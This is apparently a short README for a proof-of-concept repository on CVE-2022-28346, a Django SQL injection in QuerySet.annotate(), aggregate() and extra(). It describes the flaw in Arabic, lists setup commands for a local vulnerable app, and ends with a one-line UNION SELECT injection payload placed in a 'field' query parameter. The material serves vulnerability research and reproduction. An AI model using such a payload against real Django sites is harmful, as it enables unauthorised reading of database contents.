vincentinttsh/cve-2022-28346تم اكتشاف مشكلة في Django 2.2 قبل 2.2.28، و3.2 قبل 3.2.13، و4.0 قبل 4.0.4. طرق QuerySet.annotate() وaggregate() وextra() معرّضة لحقن SQL في الأسماء المستعارة للأعمدة عبر قاموس مُصمَّم خصيصًا (مع توسيع القاموس) يُمرَّر كوسائط **kwargs.
poetry install
python manage.py makemigrations
python manage.py migrate
python manage.py loaddata data.json
python manage.py runserver
?field=poc.title" FROM "poc_blog" union SELECT "-1,",sqlite_version(),"3" --
